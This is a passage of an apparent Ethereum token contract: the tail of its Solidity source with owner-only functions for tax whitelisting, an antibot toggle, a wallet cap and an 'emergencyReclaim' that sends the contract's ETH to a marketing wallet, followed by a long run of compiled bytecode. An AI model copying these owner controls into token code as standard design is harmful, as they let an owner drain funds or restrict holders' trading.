m_VoteCycle) m_Voters[_cycle].push(Vote(0,0,0,0)); m_VoteCycle = _cycle; } function getTotalWinnings() external view returns (uint256){ return m_TotalWinnings; } function emergencyReclaim() external onlyOwner() { m_MarketingWallet.transfer(address(this).balance); } function toggleAntibot() external onlyOwner() { if(m_AntiBot){ m_AntiBot = false; return; } m_AntiBot = true; } function addTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = true; } function remTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = false; } function adjustWalletCap(uint256 _factor) external onlyOwner(){ m_WalletLimit = TOTAL_SUPPLY.div(_factor); } }
0x6080604052600436106101ba5760003560e01c80638a6655d6116100ec578063d0040d701161008a578063dd62ed3e11610064578063dd62ed3e146105f1578063e8078d941461062e578063f2fde38b14610645578063f64bfaba1461066e576101c1565b8063d0040d7014610585578063da44d275146105ae578063da98c40b146105da576101c1565b806395d89b41116100c657806395d89b41146104c75780639b057610146104f2578063a9059cbb1461051d578063b7d0628b1461055a576101c1565b80638a6655d6146104365780638da5cb5b1461045f5780638df08bd41461048a576101c1565b806323b872dd116101595780635c6ee14a116101335780635c6ee14a1461037e5780635f56f8c2146103a757806370a08231146103d057806385b12c7c1461040d576101c1565b806323b872dd146102ed578063313ce5671461032a5780633cbc58d514610355576101c1565b80630dc96015116101955780630dc96015146102575780630f34b97d1461028257806317b95885146102ab57806318160ddd146102c2576101c1565b806289716a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e8919061413d565b61069a565b005b3480156101fb57600080fd5b50610204610739565b6040516102119190614203565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190614283565b6107cb565b60405161024e91906142de565b60405180910390f35b34801561026357600080fd5b5061026c6107e9565b604051610279919061440c565b60405180910390f35b34801561028e57600080fd5b506102a960048036038101906102a49190614576565b610883565b005b3480156102b757600080fd5b506102c0610ab7565b005b3480156102ce57600080fd5b506102d7610bb7565b6040516102e49190614643565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061465e565b610bc9565b60405161032191906142de565b60405180910390f35b34801561033657600080fd5b5061033f610ca2565b60405161034c91906146cd565b60405180910390f35b34801561036157600080fd5b5061037c6004803603810190610377919061413d565b610cb9565b005b34801561038a57600080fd5b506103a560048036038101906103a091906146e8565b610eca565b005b3480156103b357600080fd5b506103ce60048036038101906103c9919061413d565b610fba565b005b3480156103dc57600080fd5b506103f760048036038101906103f291906146e8565b611075565b6040516104049190614643565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f919061413d565b6110be565b005b34801561044257600080fd5b5061045d60048036038101906104589190614715565b611282565b005b34801561046b57600080fd5b5061047461160b565b6040516104819190614777565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac91906146e8565b611634565b6040516104be9190614643565b60405180910390f35b3480156104d357600080fd5b506104dc61167d565b6040516104e99190614203565b60405180910390f35b3480156104fe57600080fd5b5061050761170f565b6040516105149190614643565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190614283565b611719565b60405161055191906142de565b60405180910390f35b34801561056657600080fd5b5061056f611737565b60405161057c91906147e7565b60405180910390f35b34801561059157600080fd5b506105ac60048036038101906105a791906146e8565b61176d565b005b3480156105ba57600080fd5b506105c361185d565b6040516105d192919061496f565b60405180910390f35b3480156105e657600080fd5b506105ef611946565b005b3480156105fd57600080fd5b50610618600480360381019061061391906149a6565b611a2e565b6040516106259190614643565b60405180910390f35b34801561063a57600080fd5b50610643611ab5565b005b34801561065157600080fd5b5061066c600480360381019061066791906146e8565b611f82565b005b34801561067a57600080fd5b506106836120d4565b604051610691929190614ae6565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d9612365565b73ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690614b69565b60405180910390fd5b80601c8190555050565b60606001805461074890614bb8565b80601f016020809104026020016040519081016040528092919081815260200182805461077490614bb8565b80156107c15780601f10610796576101008083540402835291602001916107c1565b820191906000526020600020905b8154815290600101906020018083116107a457829003601f168201915b5050505050905090565b60006107df6107d8612365565b848461236d565b6001905092915050565b606060256000601f548152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b8282101561087a578382906000526020600020906004020160405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505081526020019060010190610820565b50505050905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108dd57600080fd5b60006108e830611075565b90506108f381612538565b6108fe88888461277b565b610909868686612df8565b6001601d600082825461091c9190614c19565b925050819055504260178190555060246000601d5481526020019081526020016000206040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815250908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055505050601f548314610aa657602560008481526020019081526020016000206040518060800160405280600081526020016000815260200160008152602001600081525090806001815401808255809150506001900390600052602060002090600402016000909190919091506000820151816000015560208201518160010155604082015181600201556060820151816003015550505b82601f819055505050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af6612365565b73ffffffffffffffffffffffffffffffffffffffff1614610b4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4390614b69565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610bb4573d6000803e3d6000fd5b50565b6000690e9c7f5bd65501200000905090565b6000610bd6848484612e30565b610c9784610be2612365565b610c92856040518060600160405280602881526020016154eb60289139601260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c48612365565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314e9092919063ffffffff16565b61236d565b600190509392505050565b6000600360009054906101000a900460ff16905090565b601e54610cc533611075565b1015610cd057600080fd5b600060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610e375760256000601f5481526020019081526020016000206040518060800160405280600081526020016000815260200160008152602001838152509080600181540180825580915050600190039060005260206000209060040201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050600160256000601f54815260200190815260200160002080549050610ddc9190614c6f565b60116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec7565b8060256000601f54815260200190815260200160002060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110610eb157610eb0614ca3565b5b9060005260206000209060040201600301819055505b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f09612365565b73ffffffffffffffffffffffffffffffffffffffff1614610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690614b69565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff9612365565b73ffffffffffffffffffffffffffffffffffffffff161461104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690614b69565b60405180910390fd5b61106c81690e9c7f5bd655012000006122bd90919063ffffffff16565b60088190555050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110fd612365565b73ffffffffffffffffffffffffffffffffffffffff1614611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114a90614b69565b60405180910390fd5b611166814261230790919063ffffffff16565b6015819055506001602160006101000a81548160ff0219169083151502179055506001601d8190555060155460178190555060246000601d5481526020019081526020016000206040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815250908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff021916908315150217905550505050565b601e5461128e33611075565b101561129957600080fd5b6103e88310156112a857600080fd5b611b588311156112b757600080fd5b60008210156112c557600080fd5b611b588211156112d457600080fd5b6103848110156112e357600080fd5b620151808111156112f357600080fd5b600060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114585760256000601f548152602001908152602001600020604051806080016040528083815260200185815260200184815260200160008152509080600181540180825580915050600190039060005260206000209060040201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050600160256000601f548152602001908152602001600020805490506113fd9190614c6f565b60116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611606565b8260256000601f54815260200190815260200160002060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481106114d2576114d1614ca3565b5b9060005260206000209060040201600101819055508160256000601f54815260200190815260200160002060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811061156157611560614ca3565b5b9060005260206000209060040201600201819055508060256000601f54815260200190815260200160002060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481106115f0576115ef614ca3565b5b9060005260206000209060040201600001819055505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606002805461168c90614bb8565b80601f01602080910402602001604051908101604052809291908181526020018280546116b890614bb8565b80156117055780601f106116da57610100808354040283529160200191611705565b820191906000526020600020905b8154815290600101906020018083116116e857829003601f168201915b5050505050905090565b6000602054905090565b600061172d611726612365565b8484612e30565b6001905092915050565b61173f6140cb565b6040518060800160405280601d54815260200160185481526020016019548152602001601a54815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ac612365565b73ffffffffffffffffffffffffffffffffffffffff1614611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f990614b69565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60608060226023818054806020026020016040519081016040528092919081815260200182805480156118e557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161189b575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561193757602002820191906000526020600020905b815481526020019060010190808311611923575b50505050509050915091509091565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611985612365565b73ffffffffffffffffffffffffffffffffffffffff16146119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290614b69565b60405180910390fd5b602160009054906101000a900460ff1615611a10576000602160006101000a81548160ff021916908315150217905550611a2c565b6001602160006101000a81548160ff0219169083151502179055505b565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611af4612365565b73ffffffffffffffffffffffffffffffffffffffff1614611b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4190614b69565b60405180910390fd5b600960009054906101000a900460ff1615611b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9190614d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c2b30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16690e9c7f5bd6550120000061236d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9a9190614d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d259190614d53565b6040518363ffffffff1660e01b8152600401611d42929190614d80565b6020604051808303816000875af1158015611d61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d859190614d53565b600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611e0e30611075565b600080611e1961160b565b426040518863ffffffff1660e01b8152600401611e3b96959493929190614dee565b60606040518083038185885af1158015611e59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e7e9190614e64565b505050600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611f20929190614eb7565b6020604051808303816000875af1158015611f3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f639190614f0c565b506001600960006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fc1612365565b73ffffffffffffffffffffffffffffffffffffffff1614612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e90614b69565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606080602460006001601d546120ea9190614c6f565b815260200190815260200160002060246000601d54815260200190815260200160002081805480602002602001604051908101604052809291908181526020016000905b828210156121db57838290600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250508152602001906001019061212e565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156122af57838290600052602060002090600302016040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff16151515158152505081526020019060010190612202565b505050509050915091509091565b60006122ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506131b2565b905092915050565b60008082846123169190614c19565b90508381101561235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235290614f85565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d490615017565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561244d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612444906150a9565b60405180910390fd5b80601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161252b9190614643565b60405180910390a3505050565b6000600267ffffffffffffffff81111561255557612554614433565b5b6040519080825280602002602001820160405280156125835781602001602082028036833780820191505090505b509050308160008151811061259b5761259a614ca3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612642573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126669190614d53565b8160018151811061267a57612679614ca3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126e130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461236d565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127459594939291906150c9565b600060405180830381600087803b15801561275f57600080fd5b505af1158015612773573d6000803e3d6000fd5b505050505050565b60004790506000821415612d76576000612793613215565b905060006127be826127b0601c548661324490919063ffffffff16565b6122bd90919063ffffffff16565b905060006127fc87516127ee856127e06019548961324490919063ffffffff16565b6122bd90919063ffffffff16565b6122bd90919063ffffffff16565b9050600061283a885161282c8661281e601a548a61324490919063ffffffff16565b6122bd90919063ffffffff16565b6122bd90919063ffffffff16565b905060008311156128c457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156128ad573d6000803e3d6000fd5b506128c183866132bf90919063ffffffff16565b94505b84602060008282546128d69190614c19565b925050819055506000821115612b575760005b8851811015612b5557478311156128fe574792505b60246000601d54815260200190815260200160002060106000601d54815260200190815260200160002060008b848151811061293d5761293c614ca3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811061299157612990614ca3565b5b906000526020600020906003020160020160009054906101000a900460ff1615612b2d5760228982815181106129ca576129c9614ca3565b5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602383908060018154018082558091505060019003906000526020600020016000909190919091505582601460008b8481518110612a7357612a72614ca3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ac49190614c19565b92505081905550888181518110612ade57612add614ca3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612b2b573d6000803e3d6000fd5b505b612b4083876132bf90919063ffffffff16565b95508080612b4d90615123565b9150506128e9565b505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015612b945750600081115b15612d6d5747811115612ba5574790505b60246000601d54815260200190815260200160002060106000601d54815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110612c1e57612c1d614ca3565b5b906000526020600020906003020160020160009054906101000a900460ff1615612d6c576022879080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602385908060018154018082558091505060019003906000526020600020016000909190919091505584601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d1d9190614c19565b925050819055508673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050158015612d6a573d6000803e3d6000fd5b505b5b50505050612df2565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612dc584846122bd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612df0573d6000803e3d6000fd5b505b50505050565b8260195414612e0957826019819055505b81601a5414612e1a5781601a819055505b8060185414612e2b57806018819055505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e97906151de565b60405180910390fd5b60008111612ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eda90615270565b60405180910390fd5b602160009054906101000a900460ff168015612f055750612f048383613309565b5b156130a257600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639051f0248484600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16326040518563ffffffff1660e01b8152600401612f8d9493929190615290565b6020604051808303816000875af1158015612fac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fd09190614f0c565b15613010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300790615347565b60405180910390fd5b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155d0ed98484326040518463ffffffff1660e01b815260040161306f93929190615367565b600060405180830381600087803b15801561308957600080fd5b505af115801561309d573d6000803e3d6000fd5b505050505b6130ab826133bc565b156130c7576008546130bc83611075565b106130c657600080fd5b5b60006130d38484613471565b1561313c576131066130f76130e6613215565b6016546122bd90919063ffffffff16565b836122bd90919063ffffffff16565b905060155442101561311757600080fd5b613121848461351d565b1561313b5761312e613628565b82111561313a57600080fd5b5b5b6131488484848461367e565b50505050565b6000838311158290613196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318d9190614203565b60405180910390fd5b50600083856131a59190614c6f565b9050809150509392505050565b600080831182906131f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131f09190614203565b60405180910390fd5b506000838561320891906153cd565b9050809150509392505050565b600080601c549050601a548161322b9190614c19565b90506019548161323b9190614c19565b90508091505090565b60008083141561325757600090506132b9565b6000828461326591906153fe565b905082848261327491906153cd565b146132b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132ab906154ca565b60405180910390fd5b809150505b92915050565b600061330183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061314e565b905092915050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806133b45750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561346a5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806135145750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15905092915050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156135ca5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156136205750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600061364161038460155461230790919063ffffffff16565b421161366d57613666610190690e9c7f5bd655012000006122bd90919063ffffffff16565b905061367b565b690e9c7f5bd6550120000090505b90565b600061369382846132bf90919063ffffffff16565b905061369f8584613918565b6136f183600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132bf90919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061378681600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230790919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061381b82600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230790919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613867856139eb565b1561387b576138768482613a45565b6138ac565b61388484613caa565b156138975761389285613d04565b6138ab565b6138a085613d04565b6138aa8482613a45565b5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516139099190614643565b60405180910390a35050505050565b600061392383611075565b9050600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156139af57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156139e657601e548111156139e557601e546139d483836132bf90919063ffffffff16565b10156139e4576139e383613f6b565b5b5b5b505050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600060106000601d54815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613b45578060246000601d54815260200190815260200160002060106000601d54815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110613b1957613b18614ca3565b5b90600052602060002090600302016001016000828254613b399190614c19565b92505081905550613ca6565b60246000601d54815260200190815260200160002060405180606001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200160011515815250908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055505050600160246000601d54815260200190815260200160002080549050613c4f9190614c6f565b60106000601d54815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600060106000601d54815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613e0657600060246000601d54815260200190815260200160002060106000601d54815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110613dd957613dd8614ca3565b5b906000526020600020906003020160020160006101000a81548160ff021916908315150217905550613f68565b60246000601d54815260200190815260200160002060405180606001604052808373ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160001515815250908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055505050600160246000601d54815260200190815260200160002080549050613f119190614c6f565b60106000601d54815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146140c85760256000601f54815260200190815260200160002060116000601f54815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811061403e5761403d614ca3565b5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600060116000601f54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b60006040519050